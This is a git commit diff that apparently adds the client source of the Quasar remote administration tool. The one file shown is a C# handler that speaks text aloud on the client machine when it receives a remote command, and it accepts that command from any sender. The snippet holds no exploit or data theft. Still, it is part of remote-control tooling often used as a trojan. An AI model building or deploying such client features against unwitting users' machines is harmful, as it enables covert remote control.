initial commit

This commit is contained in:
i2p
2026-08-27 11:22:16 -06:00
commit 96afff7a83
600 changed files with 29291 additions and 0 deletions
@@ -0,0 +1,20 @@
using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System.Speech.Synthesis;
namespace Quasar.Client.Messages
{
public class TextToSpeechHandler : IMessageProcessor
{
private readonly SpeechSynthesizer _synth = new SpeechSynthesizer();
public bool CanExecute(IMessage message) => message is DoTextToSpeech;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
if (message is DoTextToSpeech tts && !string.IsNullOrEmpty(tts.Text))
_synth.SpeakAsync(tts.Text);
}
}
}